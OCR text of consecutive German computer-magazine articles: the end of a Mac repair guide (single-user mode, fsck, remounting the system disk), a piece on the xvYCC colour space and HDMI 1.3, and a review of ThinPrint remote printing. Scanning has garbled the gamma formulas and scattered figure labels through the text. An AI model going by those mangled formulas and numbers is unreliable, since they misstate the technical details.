1-5 im Single-User-Modus starten 

-V System-Meldungen beim Starten anzeigen 

$E'-Alt-P-R Einstellungen im Parameter-RAM löschen 


! Wenn man eine PC-Tastatur am Mac benutzt, agieren Windows- oder Strg-Taste als Befehlstaste. 


terne Festplatte, wenn Sie ihn 
per FireWire mit einem anderen 
Rechner verbinden - das reicht, 
um auf die Daten zugreifen zu 
können. Mit der Software Mac- 
Drive klappt dies sogar an einem 
Windows-PC. 

Ohne Notfall-Platte oder -CD 
erhalten Sie ferner durch Starten 
im Single-User-Modus (Befehl-S) 
Zugriff auf den Unix-Unterbau 
und können mit 


/sbin/fsck -fy 


eine Überprüfung des Dateisys- 
tems anstoßen. Vorsicht: es gilt 
wieder die amerikanische Tasta- 
turbelegung. 

Einblick in das Systemproto- 
koll erhalten Sie mit 


less /var/log/system.log 


Vielleicht gibt eine der zahlrei- 
chen dort vermerkten Eintragun- 
gen vom letzten Systemstart 
einen Hinweis auf den Übeltäter. 
Der Single-User-Modus bindet 
die Systemplatte aus Sicherheits- 
gründen nur schreibgeschützt 
ein. Damit Sie beispielsweise eine 
Einstellungsdatei oder eine Ker- 
nelerweiterung mit rm löschen 
können, müssen Sie zuerst mit 


/sbin/mount -uw / 


den Schreibschutz entfernen. 
Vorbeugen ist auch bei Com- 
putern besser als Heilen. Nach 
einem Systemabsturz sollte 
man deshalb dem Festplatten- 
Dienstprogramm Gelegenheit 
geben, das Dateisystem auf Kon- 
sistenz zu überprüfen - bequem 
mit dem Festplatten-Dienstpro- 
gramm. So erkennt man Datei- 
systemprobleme frühzeitig und 
kann verhindern, dass sie zu 
einem Problem werden. Möchte 
man zusätzlich die in vielen Inter- 
net-Foren als Heilmittel gepriese- 
ne Funktion „Zugriffsrechte des 
Volumes reparieren“ einsetzen, 
sollte man penibel darauf achten, 
dass man das zur Systemversion 
passende Festplatten-Dienstpro- 
gramm einsetzt. Sonst kann 
diese Funktion das System irre- 
parabel beschädigen. Auch bei 
anderen Reparaturprogrammen 
sollte man darauf achten, dass 
der Hersteller sie für das Zielsys- 
tem freigegeben hat. (adb) 


Literatur 
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Ulrike Kuhlmann 


Farb(t)räume 


Sattere Farben und feinere Verläufe 


dank xvYCC 


Den xvYCC-Farbraum spezifizierte die Internationale 
Kommission für Elektrotechnische Standards IEC bereits 
im Jahr 2005. Doch erst mit der Version 1.3 der digitalen 
HDMI-Schnittstelle erlangte der erweiterte Farbraum für 
Videosignale praktische Bedeutung. 


it Einführung der digita- 
len Signalübertragung 
per DVI oder HDMI 


wurde die Darstellungsqualität 
von Monitoren, Videoprojekto- 
ren und Fernsehern bereits sicht- 
bar verbessert. Dabei hielt die In- 
dustrie zunächst an den altbe- 
währten Farbstandards fest, um 
trotz digitaler Übertragungswe- 
ge Kompatibilität zur existie- 
renden Infrastruktur zu wahren. 
Erst die Version 1.3 der digitalen 
HDMI-Schnittstelle setzt neue 
Maßstäbe: Die Videosignale sol- 
len einen größeren Farbraum 
abdecken und mit mehr als den 
üblichen 8 Bit kodiert werden. 
Die Abwärtskompatibilität der 
Signale bleibt indes gewahrt - 
der neue Farbstandard xvYCC 
beinhaltet alle Farben der her- 
kömmlichen YCC-Farbdifferenz- 
signale und deckt auch den im 
PC-Bereich üblichen und im 
Internet als Standardfarbraum 
genutzten sRGB-Raum ab. 


Gleichmacherei 


Möchte man eine stimmige Farb- 
wiedergabe über Geräteklassen 
hinweg erzielen, gilt bislang 
sRGB als das Mittel der Wahl. Er 
umfasst die von Digicam, Dis- 
play, Scanner und Drucker ge- 
meinsam darstellbaren Farben 
und stellt damit eine Art größter 
gemeinsamer Teiler dar: Ist in der 
Digitalkamera sRGB ausgewählt, 
am Display sRGB eingestellt und 
beherrscht der Drucker ebenfalls 
den geräteübergreifenden sRGB- 
Standard, sollte sich die Farbdar- 
stellung von Kamera, Bildschirm- 
anzeige und Ausdruck zumindest 
gleichen. 

Durch diese Gleichmacherei 
bleiben allerdings etliche Farben 
auf der Strecke, denn die verfüg- 
baren Farben werden auf Kosten 
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von Brillanz, Tonwertumfang 
und Sättigung limitiert. Alle Far- 
ben, die im jeweiligen Geräte- 
farbraum über sRGB hinausra- 
gen, müssen auf den sRGB-Farb- 
raum abgebildet werden. Beim 
sogenannten Gamut Mapping 
hat man zwei Möglichkeiten: 
Entweder es bleibt der Gesamt- 
eindruck des Bildes weitgehend 
erhalten, wobei die Farben ins- 
gesamt gedeckter erscheinen, 
oder die Farben werden mög- 
lichst originalgetreu wiederge- 
geben und das Bild sieht am Dis- 
play und im Ausdruck unter- 
schiedlich aus. Weil sRGB nur 
etwa 55 Prozent der relevanten 
Oberflächenfarben beziehungs- 
weise ein Drittel aller Oberflä- 
chenfarben insgesamt enthält, 
kann die Ersatzfarbenabbildung 
nie perfekt gelingen. 

Einen etwas größeren Farb- 
umfang als sRGB und damit 
mehr darstellbare Farben enthält 
der Wide-Gamut Color Space 
(IEC 61966-2-5): Blau und Rot 
stimmen weitgehend mit sRGB 
überein, Grün ist jedoch deutlich 
satter. Dargestellt werden Farb- 
räume üblicherweise im hufei- 
senförmigen xy- oder u’v’-Dia- 
gramm, auf dessen Rand die 
Spektralfarben liegen. In der 
auch CIE-Normfarbtafel genann- 
ten zweidimensionalen Abbil- 
dung spannt jedes Display mit 
seinen drei Grundfarben ein 
Dreieck auf. Dieses Dreieck ent- 
hält sämtliche Displayfarben: Je 
größer das Dreieck ist, umso 
mehr Farben kann das Display 
anzeigen. Bei einem Wide- 
Gamut-LCD verschiebt sich die 
Grundfarbe Grün in das obere 
Drittel des Hufeisens. Dort liegt 
auch das Grün des Farbraums 
Adobe-RGB. Den größeren Farb- 
umfang erreichen Displays durch 
die exakte Abstimmung eines 


optimierten Backlights auf die 
Farbfilter im LCD oder mit RGB- 
LEDs als Hintergrundbeleuch- 
tung. Drucker können die satte- 
ren Grüntöne mit grüner Tinte 
zusätzlich zu Cyan, Magenta und 
Gelb erzielen. 


Formsache 


Als geräteunabhängige Grundla- 
ge aller Farbumformungen dient 
der Standardfarbraum CIEXYZ. Er 
spiegelt die menschliche Farb- 
wahrnehmung wider: Weil das 
Auge Rot, Grün und Blau „sehen“ 
kann, beschreibt man sämtliche 
Farbmischungen mit dreidimen- 
sionalen Koordinaten aus X (Rot), 
Y (Grün) und Z (Blau). Koordina- 
ten mit jeweils dem Wert 100 
führen zu Weiß; 0/0/0 ergibt 
Schwarz. 

Die Farbkoordinaten lassen 
sich mit einer linearen Matrix 
von XYZ nach RGB überführen. 
Bei der Wandlung nach sRGB 
steht zusätzlich eine nichtlineare 
Gammaanpassung vor der Digi- 
talisierung mit üblicherweise 8 
Bit pro Farbe an. sRGB ist defi- 
niert für ein Gamma von 2,2 und 
eine Farbtemperatur von 6500 
Kelvin (D65). 

Eine weitere lineare Matrix- 
Transformation überführt diese 
Farbkoordinaten in den in der 
digitalen Videotechnik üblichen 
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Chroma-Luma-Farbraum YCC. 
Hier übernimmt der Y-Wert die 
Helligkeit (Luminanz) und die 
Differenzsignale C, (Blau minus 
Grün) sowie C, (Rot minus Grün) 
die Buntheit (Chromaticity). Der 
Tonwertumfang (Gamut) von 
YC,C, ist identisch zu sRGB, die 
Luminanz Y reicht nur von 16 bis 
235, das Chroma von 16 bis 240. 
In der Praxis werden hierdurch 
sehr helle Grautöne (Y = 236 - 
254) weiß und sehr dunkle Grau- 
töne (Y =1 - 15) schwarz darge- 
stellt. Y-Werte unterhalb von 16 
bezeichnet man mit „schwärzer 
als Schwarz”, solche oberhalb 
von 235 mit „weißer als Weiß”. 


Extended Version 


Die Videowiedergabe sämtlicher 
Grau- und Farbtöne gelingt mit 
dem erweiterten Farbraum 
xvYCC. In ihm reichen der Luma- 
wert Y und die Chromawerte C, 
und C, von 0 bis 255. Der als IEC 
61966-2-4 veröffentlichte Farb- 
standard wurde für digitale HD- 
Videosignale entwickelt und ent- 
hält alle Oberflächenfarben. In 
der xy-Normfarbtafel überstreicht 
er deshalb das gesamte Hufei- 
sen. Stellt man die Farbwerte 
im zweidimensionalen Chroma- 
Luma-Diagramm dar, liegen sRGB 
und YCC als kleinere Raute im 
xvYCC-Raum. Dementsprechend 
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Ein Gerät kann alle Farben wiedergeben, die innerhalb seines 
Dreiecks in der CIE-Normfarbtafel liegen. Mit xvYCC wären dies 
theoretisch alle Farben im Hufeisen. 
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sind xvYCC-kodierte Signale ab- 
wärtskompatibel zu YCC und 
sRGB. 

Während die RGB-Farbwerte 
im sRGB-Raum stets positiv sind, 
können sie im xvYCC auch nega- 
tive Werte annehmen (-0,758 bis 
1,086). Was in der Theorie bezie- 
hungsweise bei der Berechnung 
möglich ist, scheidet in der Praxis 
aus: Weil kein Display negative 
Farben darstellen kann, müssen 
die Videosignale vor der Wieder- 
gabe in ein RGB-Signal mit positi- 
ven Farbwerten konvertiert, also 
alle nicht darstellbaren Farben in 
den jeweiligen Gerätefarbraum 
transformiert werden. 

Die Farbtemperatur des Weiß- 
bildes liegt in xvYCC wie in sRGB 
bei 6500 K respektive D65, die 
nichtlineare Verzerrung erfolgt 
üblicherweise mit einem Gam- 
ma von 2,2. Auf diese Weise sind 
die aktuellen Farbräume direkt 
in den erweiterten Farbraum 
xvYCC übertragbar und umge- 
kehrt lassen sich Videosignale in 
xvYCC durch relativ einfache Re- 
duktion mit einem (s)RGB-Dis- 
play darstellen. 


In der Praxis 


Die Farbwiedergabe von Di- 
plays wird durch sattere Grund- 
farben und einen größeren 
Farbumfang nicht zwangsläufig 
besser. Die meisten größeren 
LCD-Panels arbeiten derzeit mit 
8 Bit pro Farbe und können so 
256 Graustufen (2°) und insge- 
samt 16,7 Millionen Mischfarben 
((28)?) wiedergeben. Wird nun 
der größere Farbumfang mit 
derselben Bittiefe digitalisiert, 
steigt der mittlere Abstand zwi- 
schen den Farb- respektive 
Grautönen. Dies kann sich in fei- 
nen Farbverläufen durch sicht- 
bare Stufen äußern, die weiche 
Übergänge verhindern. xvYCC 
sollte deshalb mit 10 oder mehr 


Im xvYCC- 
Gerät reicht 
die Gamma- 

kurve auch 
in negative 
Bereiche. 
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Tonwertumfang von xvYCC 


0<R,G,B’<1 


(sRGB und YC;,C,) 


R,G',B’<0 


R,G,B’<0 


128 240 254 


Chroma (,, C;, 


Im erweiterten Farbraum nimmt RGB auch negative Werte 
an, die Helligkeitsinformation reicht von 0 bis 254. Hierdurch 
erweitert sich der Tonwertumfang von der sRGB-Raute zum 


xvYCC-Rechteck. 


Bit an Stelle der für sRGB üb- 
lichen 8 Bit quantisiert werden. 
Auch die HDMI-1.3-Spezifikation 
sieht vor, dass Signale im er- 
weiterten Farbraum mit 10 bis 
16 Bit digitalisiert werden kön- 
nen (aber nicht müssen). Wenn 
von Deep Color die Rede ist, 
meint dies im Allgemeinen die 
größere Bittiefe und den größe- 
ren Farbumfang der xvYCC-Sig- 
nale. Nachteil der höheren Bit- 
tiefe: Man braucht zur Übertra- 
gung der Videosignale höhere 
Bandbreiten oder bessere Kom- 
pressionsverfahren. 

Einige Farbnuancen lassen 
sich durch die additive Mischung 
von Rot, Grün und Blau gar nicht 
reproduzieren. So patzen her- 


Rupcp > 0,081 
R’= 1,099 RV22 - 0,099 


-0,081<R<0,081 
R=45R 

Ropcg < 0,081 

R'=-1,099 (-R)V22 40,099 


kömmliche Displays beispiels- 
weise beim Cyan des Kölnisch- 
Wasser-Labels und können auch 
das Post-Gelb nicht korrekt wie- 
dergeben. Im xy-Diagramm lie- 
gen solche Mischfarben außer- 
halb des von R, G und B aufge- 
spannten Dreiecks. Wollte man 
sie auf einem LCD naturgetreu 
anzeigen, müsste das Display 
mehr als drei Grundfarben haben. 
Ein LCD könnte man dafür mit 
einem LED-Backlight ausstatten, 
das mehr als drei Diodenfarben 
besitzt, und ihm zusätzliche Farb- 
filter spendieren - das Farb- 
dreieck im xy-Diagramm würde 
dadurch zum Vieleck. 

Einige Fotodrucker gehen 
genau so vor: Sie nutzen neben 


xvYCC-Kamera 


Wide-Gamut 
CcD 


—>RGB nur positiv —» RGB auch negativ —» YCyC, 
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dem üblichen Cyan, Magenta 
und Gelb (CMY) zusätzlich rote 
oder grüne Tinte, um die Anzahl 
der druckbaren Farben zu erhö- 
hen. Bei LCDs darf man bislang 
nur einige wenige Prototypen 
mit zusätzlichem Rotton oder 
Gelbfilter auf Messen bewun- 
dern. Stattdessen setzen die Her- 
steller auf RGB-LEDs als Hin- 
tergrundbeleuchtung, um das 
Dreieck und somit den Farbum- 
fang der Displays zu vergrößern. 

Eine Hinterleuchtung aus RGB- 
LEDs besitzt ein schärfer abge- 
grenztes Farbspektrum als Kaltka- 
thodenstrahler (CCFL). Der für 
CCFLs übliche orange Wellenlän- 
genberg bei 590 nm verschwin- 
det hier ebenso wie der blaugrü- 
ne bei 490 nm. Dank des reineren 
Backlight-Spektrums kann man 
so mit entsprechend angepass- 
ten Farbfilter sattere RGB-Grund- 
farben und damit einen größeren 
Farbumfang erzielen. 

Bei jeder Erweiterung müssen 
die Hersteller jedoch mit Bedacht 
vorgehen, soll die Darstellung 
am Display tatsächlich profitie- 
ren: Erweitert sich der Farbraum 
mit zusätzlichen oder satteren 
Grundfarben um Oberflächen- 
farben, die in der Praxis nur sel- 
ten vorkommen, würde man Bits 
und Farbvolumen für irrelevante 
Farben verschwenden. 

Auch digitale HD-Kameras sol- 
len künftig sattere, feiner abge- 
stufte Farben produzieren. Der 
xvYCC-Standard will dafür sor- 
gen, dass diese in der Verarbei- 
tungskette von der Kamera zum 
Display nicht verloren gehen 
und ältere Hardware dennoch 
kompatibel bleibt. (uk) 


Literatur 


[1] Andre Kramer, Dirk Primbs: Farb- 
karussell, Vistas Windows Color 
System soll Farbe unter Kontrolle 
bringen, c't 21/07, S. 166 
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xvYCC-Display 


In der Verarbeitungskette sind Farbraumtransformationen von 
RGB nach xvYCC und vice versa notwendig, weil Display und 
Kamera keine negativen Farben darstellen können. dt 
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Kurt Pfeifle, Thomas Rost 


Dünndruck 


Lokales Drucken für Remote-Arbeitsplätze 


Thin Clients erleichtern dem Administrator in größeren Firmen das Leben, 
weil er sich nicht mehr um einen Zoo von PCs kümmern muss, sondern nur 
noch um den Terminalserver, der die Thin Clients versorgt und auf dem 
zentral die Anwendungen laufen. Mit ThinPrint sollen auch Heimarbeiter, die 
an einer „dünnen“ ISDN-Leitung hängen, die Firmenserver nutzen können, 
ohne auf hochwertige Ausdrucke verzichten zu müssen. 


erver Based Computing 
(SBC) breitet sich seit eini- 
ger Zeit in größeren Unter- 
nehmen aus: Die Anwender be- 
kommen schlanke Stationen hin- 
gestellt - kaum mehr als 
„dumme“ Terminals, Thin Clients 
- und nutzen übers Netz die auf 
einem zentralen Server oder Ser- 
ver-Pool laufenden Programme. 
Das funktioniert nicht nur in 
einem schnellen Firmen-LAN, 
sondern auch für Heimarbeiter 
über schmalbandige Verbindun- 
gen recht zufriedenstellend. 
Selbst die für heutige Verhält- 
nisse kümmerlichen 64 kBit/s 
eines ISDN-Kanals genügen. 
Doch bei Heimarbeitern und 
kleinen Außenbüros gibt es ein 
Problem: Bedrucktes Papier soll 
der Drucker neben dem Thin 
Client ausspucken, aber die An- 
wendung, die die Druckdaten er- 
zeugt, läuft auf dem Terminalser- 
ver, der unter Umständen am 
anderen Ende der Republik 
steht. Die je nach Dokumenten- 
art kilobyte- bis megabytegro- 
ßen Spooldateien müssen durch 
die Schmalbandverbindung vom 
Terminalserver zum Thin Client. 
Ohne Komprimierung würde 
man dann ewig auf den Aus- 
druck warten, und währenddes- 
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sen wäre die interaktive Termi- 
nalsitzung lahmgelegt. 
Komprimierung gehört zwar 
bei modernen Versionen der üb- 
lichen Remote-Protokolle - Mi- 
crosofts Remote Desktop Proto- 
col (RDP) oder Independent 
Computing Architecture von Ci- 
trix (ICA) - zum Standard, doch 
offensichtlich gibt es dort beim 
Drucken noch Verbesserungspo- 
tenzial. Die Berliner Firma Thin- 
Print besetzt mit ihrer gleichna- 
migen Software diese Nische. 
Wir haben einen Blick auf die 
Unterschiede zum „normalen“ 
Drucken geworfen und praktisch 
erprobt, welchen Vorteil Thin- 
Print gegenüber der integrierten 
Kompression von ICA bringt. 


Anforderungen 


Drucken im SBC-Netz ist ein ver- 
teilter Prozess, bei dem bis zu 
vier Parteien mitspielen: der Ap- 
plikationsserver, eventuell ein 
Druckserver, der Terminal-Client 
und das Ausgabegerät. Die 
Druckdaten laufen über diese 
Stationen und erfahren dabei 
Formatwandlungen, Kompres- 
sion und Dekompression. 

Das Komprimieren ist ver- 
zichtbar, wenn alle Geräte im sel- 


ben LAN mit praktisch unbe- 
grenzter Bandbreite stehen. 
Dann können zeitraubende Pack- 
Vorgänge entfallen und die Da- 
ten sofort unkomprimiert durch 
die Leitung fließen, damit die 
Ausdrucke schneller beim An- 
wender sind. 

Beim Remote-Drucken sind 
noch weitere Besonderheiten zu 
berücksichtigen: Am Applika- 
tionsserver hängen ohne weite- 
res mal 50 oder mehr Benutzer 
zugleich. Jeder soll dabei nur 
seine eigenen Drucker „sehen“, 
kein Print-Job darf beim falschen 
Anwender-Drucker landen. 

Vor allem in häuslichen Ar- 
beitszimmern oder Außenstellen 
steht ein Panoptikum unter- 
schiedlicher Druckermodelle: 
Laser, Tintenstrahler, Labeldru- 
cker, farbig und schwarzweiß, 
und die verschiedenen Drucker- 
kategorien erwarten verschied- 
ne Druckersprachen. Außerdem 
möchte man Zugriff auf alle Ge- 
räte-Features wie Schacht-An- 
wahl oder Duplex-Druck und bei 
Abteilungsdruckern auch lo- 
chen, heften, falten. Dabei 
braucht man für jeden Zieldru- 
cker einen passenden Treiber. 
Zusätzlich soll sich die auf dem 
Terminalserver anfallende CPU- 


Last auch bei mehreren Printjobs 
in Grenzen halten und auf Be- 
nutzerseite soll möglichst wenig 
administrative Arbeit anfallen, 
ganz gleich, ob der Client ein 
Windows-PC, ein Linux-Thin- 
Client oder ein Handheld ist. 

Die Software ThinPrint steht 
in zahlreichen Versionen zur 
Verfügung: Es gibt mehrere Fas- 
sungen für Citrix- und für Micro- 
soft-Umgebungen, für VDI (Vir- 
tual Desktop Infrastructure) und 
für Blade-PCs, für Remote Ac- 
cess und für mobile Endgeräte, 
für Host- und für Unix-Umge- 
bungen und auch noch unter- 
schieden in 32- und 64-Bit-Aus- 
führungen. Wer die Software 
ohne Terminalserver ausprobie- 
ren will, nimmt die „.print RDP 
Engine XP” mit einer 30-Tage- 
Demolizenz. Sie erlaubt das 
Drucken zwischen zwei Win- 
dows-PCs und unterstützt alle 
wesentlichen Features. 

Ein typischer Nutzer ist der 
Außendienstler: Er kann im Ho- 
telzimmer mit seinem Notebook 
ein Dokument auf dem Heim-PC 
bearbeiten und es im Hotel zu 
Papier bringen, ohne den Treiber 
des Hoteldruckers zu Hause in- 
stallieren zu müssen. Es genügt, 
ihn auf dem Notebook vorzuhal- 
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ten. Umgekehrt kann ThinPrint 
seine gute Kompression auch 
ausspielen, wenn der Terminal- 
server über eine DSL-Leitung ans 
Internet angeschlossen ist, durch 
deren dünnen Upstream die 
Druckdaten müssen. 


Arbeitsteilung 


Die ThinPrint-Software besteht 
auf allen Plattformen aus einer 
Server- und einer Client-Kompo- 
nente. Sie heißen „.print Engine” 
(„dotprint“) und „.print Client“. 
Die Engine ist das Herzstück des 
Systems. Sie steuert den gesam- 
ten Druckablauf. Ihre Komponen- 
te „IP Output Gateway” erspart 
es, alle Treiber aller Drucker aller 
Clients auf dem Server oder der 
kompletten Farm zu installieren. 
Statt dessen geschieht das Ren- 
dern auf dem Client, an dem der 
jeweilige Drucker angeschlossen 
ist. ThinPrint nennt das „Driver 
Free Printing“, weil der Server 
ohne Treiber auskommt. 

Das Output Gateway gibt es 
nur für Windows 2000, XP und 
Server 2003. Auf Server 2003 ar- 
beitet es unabhängig davon, ob 
darauf nur ein Windows-Termi- 
nalserver mit RDP (Remote Desk- 
top Protocol) oder zusätzlich 
ein Citrix-Presentation-Server- 
Aufsatz mit ICA läuft. 

Dem Betriebssystem gegen- 
über gibt sich die Engine als Dru- 
ckertreiber aus: Im Dialog für 
dessen Druckserver-Eigenschaf- 
ten steht dann „TP Output Gate- 
way“. Auch ein neuer Druckeran- 
schluss namens „ThinPort" ist 
mit von der Partie. Er leitet die 
Druckdaten an den Terminal- 
Client weiter. Der zugehörige 
Druckprozessor auf dem Server 
heißt „tpwinprn“. 

Der virtuelle Druckertreiber 
erzeugt dasselbe EMF (Enhanced 
Metafile Format), das das GDI- 
Subsystem von Windows beim 
normalen Drucken als Zwischen- 
stufe generiert, bevor es den ei- 
gentlichen Treiber aufruft. An- 
ders als normale Treiber, die EMF 
nach Postscript, PCL, HP/GL, 
ESC/P, LIDIL oder noch exoti- 
scheren Druckersprachen wan- 
deln, belässt ThinPrint es bei 
EMF. 

Wo reale Treiber im Druckdia- 
log die gerätespezifischen, teils 
umfangreichen Optionen prä- 
sentieren (Druckereigenschaf- 
ten/Allgemein/Druckeinstellun- 
gen), reduziert das Output-Gate- 
way den Druckdialog auf we- 
nige generische Einstellungen: 
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- Papierformat (Postkarte bis A3) 
- Kopienanzahl (max. 999) 

- Auflösung (150/300/600 dpi) 

- Ausrichtung (hochkant/quer) 
- Farbtiefe (Graustufen/Farbe) 
Schließlich lässt sich eine „Druck- 
Vorschau auf dem Client“ und 
die automatische Skalierung des 
Druckbildes auf das gewählte 
Papierformat konfigurieren. 


Eingeschränkte Auswahl 


Wo man bei normalen Treibern 
die gerätespezifischen Aus- 
stattungsvarianten konfiguriert, 
etwa Duplex-Einheit, zusätzliche 
Papierfächer, Endverarbeitung 
wie Finisher oder Sorter, zeigt 
das ThinPrint-Setup lediglich 
drei eigene Optionen, die nur 
der Administrator ändern kann: 
- Wahl der Kompression vom 
verlustfreien „Normal“ bis „Ex- 
trem“, optional ohne Bilder 
- Duplexdruck bereitstellen 
- Papierschachtauswahl bereit- 
stellen 
Die letzten beiden Einstellungen 
entscheiden, ob die Anwender 
überhaupt Wahlmöglichkeiten 
für Duplexdruck und Papierquel- 
le zu sehen bekommen. 

Weitere Bestandteile der En- 
gine kümmern sich um automa- 
tische Kompression, Begrenzen 
der belegten Bandbreite, Strea- 
ming von Druckjobs und um die 
optionale SSL/TLS-Verschlüsse- 
lung beim Datenaustausch mit 
dem ThinPrint-Client. 

Die Engine gibt es auch für 
IBM-Host-, Linux- und Unix-Sys- 
teme, allerdings leistet sie dann 
nur Kompression und Bandbrei- 
ten-Management. Treiberloses 
Drucken entfällt, weil diese Platt- 
formen das EMF-Format nicht 
kennen. Stattdessen muss man 
auf solchen Servern drucker- 
spezifische Treiber einsetzen. 


Kundschaft 


Der ThinPrint-Client nimmt die 
von der Engine verschickten 
Druckdaten entgegen, dekom- 
primiert sie und verarbeitet sie 
weiter. Da die Engine das nicht 
direkt druckbare EMF verschickt, 
braucht der Client einen passen- 
den Druckertreiber für das Ziel- 
gerät. Weil die ThinPrint-EMF- 
Version keine Fonts in die Druck- 
daten einbettet, muss man auf 
dem Terminal-Client alle Fonts 
lokal installieren. 

Varianten des ThinPrint-Client 
stehen für eine Vielzahl von Be- 
triebssystemen, Umgebungen 
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und Gerätetypen zur Verfügung. 
Mit dabei: DOS, alle Windows- 
Versionen von Windows 3.11 bis 
Vista (inklusive WinOS/2 und 
Windows CE), Linux, Solaris, 
Symbian Smartphones (z. B. 
Nokia-Serien 60/80 und UIQO), 
Java, Active X und Pocket-PC 
sowie mehr als 200 verschiedene 
Printserver und Netzwerk-Dru- 
cker mit eingebautem ThinPrint- 
Client. Ebenso ist der ThinPrint- 
Client auf den Terminals prak- 
tisch aller namhaften Hersteller 
wie beispielsweise HP, Fujitsu- 
Siemens, Igel, MaxSpeed, Neo- 
ware, Wyse vorinstalliert. 

Weil der ThinPrint-Client an- 
kommendes EMF in die Sprache 
des Zieldruckers wandeln muss 
und dafür die Funktionen des 
normalen, nativen Treibers be- 
nötigt, braucht er als Unterbau 
ein NT-basiertes Betriebssys- 
tem. Anderen Client-Betriebs- 
systemen, auch den 16-Bit-Win- 
dows-Versionen, fehlen passen- 
de Treiber oder andere Mittel 
zum Verarbeiten des proprietä- 
ren EMF. 

Läuft der ThinPrint-Client auf 
einem Nicht-Win32-System, dann 
muss man auf dem Applikations- 
server passende Treiber installie- 
ren. Die Engine erledigt auch 
dann Druckdaten-Kompression 
und Bandbreiten-Management 
für den Transport. 

Auf einem aktuellen Windows 
kann der Client dem Anwender 
nach Ankunft des EMF-Spools 
eine Vorschau des Druckjobs zei- 


Tischdrucker Netzwerkdrucker N, 


Thin Client 
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lokaler Druckserver 


gen (.print Viewture). Wie bei der 
herkömmlichen Druckvorschau 
sind alle Druckeinstellungen 
des originalen Treibers zugäng- 
lich, auch Umleiten des Auftrags 
auf einen anderen lokalen Dru- 
cker ist möglich. Als weitere An- 
nehmlichkeit speichert View- 
ture Druckjobs auf Wunsch lokal 
auf dem Client. Die Datei kann 
man später auch ohne laufende 
Terminalserver-Session öffnen. 


Seitenblick 


Auch Citrix hat mit UPD Ill (Uni- 
versal Printer Driver 3) im Pre- 
sentation Server 4.0 eine Art 
„treiberloses Drucken“ einge- 
führt, bei dem der Server EMF- 
Daten zum Terminal-Client 
schickt. Damit baut Citrix in Tei- 
len nach, was ThinPrint vor- 
macht. Dennoch kann ThinPrint 
auch in einer Citrix-Umgebung 
sinnvoll eingesetzt werden, bei- 
spielsweise auf älteren Meta- 
Frame-Installationen, für die der 
Hersteller kein Printing Update 
anbietet. 

Citrix komprimiert seinen 
UPD-Ill-Datenstrom zwar eben- 
falls, jedoch nur so stark, wie der 
ICA-Kanal ohnehin zwischen Ter- 
minal und Server verdichtet. In 
unseren Messungen zeigte sich 
ThinPrint weit effizienter, dazu 
weiter unten mehr. 

ThinPrint verwendet eine so- 
genannte „adaptive“ Kompres- 
sion, zu der die Webseite ver- 
sichert: „Kein umstrittenes Soft- 


Citrix-Server oder 
Windows Terminalserver 


zentraler 
= _ Druckserver 


J TeP/ıP 


„print Engine 


\ ‚print AutoConnect 


‚print Virtual 
TCP/IP Channel Gateway 


Zentrale 


Bei Telearbeit an einem Terminalserver fließen Druckdaten 
durch eine schmalbandige Leitung zum lokalen Drucker. 
ThinPrint komprimiert Grafik dabei auf Wunsch sehr stark, 
ohne dass die Qualität übermäßig leidet. 
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Applikation 


ware-, sondern ein Verfahrens- 
Patent!“ Details dazu legt der 
Hersteller nicht offen. Adaptiv 
heißt laut ThinPrint, dass die 
Software den Druckdatenstrom 
auf seine Bestandteile (Texte, Bil- 
der) untersucht und für jeden 
Teil den passenden Verdich- 
tungsalgorithmus anwendet - 
oder die Kompression in einem 
breitbandigen LAN im Interesse 
einer schnelleren Druckausgabe 
überspringt. 

Beim Leiten der Druckdaten 
durch die ICA- und RDP-Kanäle 
erzwingt ThinPrint eine Begren- 
zung der Datenrate, damit die 
Remote-Sitzung jederzeit emp- 
fänglich für Benutzer-Aktionen 
bleibt und kein Druckvorgang 
die Leitung komplett usurpiert. 

Zusätzlich setzt ThinPrint beim 
Versenden der Druckdaten auf 
eine Streaming-Technik: Es leitet 
Druckjobs nicht im Ganzen wei- 
ter, sondern unterteilt sie in klei- 
nere Pakete. So kann der Emp- 
fänger den lokalen Druckvor- 
gang bereits starten, bevor der 
Job komplett angekommen ist. 
Davon profitieren insbesondere 
kleinere Printboxen und Thin- 
Client-Terminals mit Embedded- 
ThinPrint-Client und magerer 
RAM-Ausstattung: Sie geben 
selbst solche Jobs fehlerfrei aus, 
die anderswo zu einem Speicher- 
Überlauf und damit zum Druck- 
abbruch führen. 


© 
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Citrix- 
Terminal- 
Server mit 
ThinPrint 


= spoolen 
o 


Applikation 


komprimieren 
(print Engine mit 
Output Gateway) 


Allein das „Driver Free Prin- 
ting“ spart Administratoren ge- 
wiss erhebliche Zeit. Zudem er- 
höht man die Stabilität der Sys- 
teme, weil keine Treiberkonflikte 
auf dem Server auftreten kön- 
nen. Weil auf dem Client nach 
wie vor der lokale Druckertreiber 
läuft, stehen auch alle Drucker- 
Features zur Verfügung - ein 
häufiger Beschwerdegrund der 
Anwender entfällt. 

Den Kern der recht kom- 
fortablen Admin-Tools der Thin- 
Print-Software bildet die platt- 
formübergreifende, für MS-Ter- 
minalserver und Citrix gleiche 
Managementkonsole. Die Thin- 
Print-Programmierer haben sie 
als Snap-In für die MS Manage- 
ment Console (MMC) implemen- 
tiert. 


Sicherheit 


Damit vertrauliche Dokumente 
zwischen Erstellen und Ausgabe 
am ThinPrint-Client keinem neu- 
gierigen Netzwerk-Schnüffler in 
den Schoß fallen, verschlüsselt 
ThinPrint optional alle Druckda- 
ten per SSL/TLS, unabhängig 
davon, ob via ICA, RDP oder 
TCP/IP gedruckt wird. Die dafür 
nötigen Zertifikate verwaltet 
man mit dem MMC-Snap-In. 
Zugleich sind die Dokumente 
so gegen Veränderungen ge- 
schützt: Ohne Chiffrierung wäre 


EM | RDP-oder A 
Arm ı ICA-Channel | ori 
— 
WAN/LAN 
I l 


—— D.&N. 


rendern e 
(ICA Client) 
weiterleiten spoolen 
(ICA Client 
ab V. 9.20) 


el . 
B.42. — 


rendern Drucker 


(normaler Treiber) 


Drucker 


rendern 
(normaler Treiber) 


Das UPD-II-Treiber von Citrix erzeugt auf dem Terminalserver 
PostScript- oder PCL-Daten, die der Client in zwei weiteren 
Schritten aufbereitet. UPD Ill setzt nach dem Vorbild ThinPrint 
auf EMF als Austauschformat, was den Client beim drucker- 
spezifischen Rendern etwas entlastet. Es komprimiert aber 


nicht so effizient wie ThinPrint. 


es für einen Angreifer ein Leich- 
tes, zum Beispiel beim Rech- 
nungs- oder Scheck-Druck eine 
Null im Betragsfeld hinzuzufü- 
gen oder eine Stelle wegzustrei- 
chen, indem er den unverschlüs- 
selten Druckdatenstrom mani- 
puliert. 

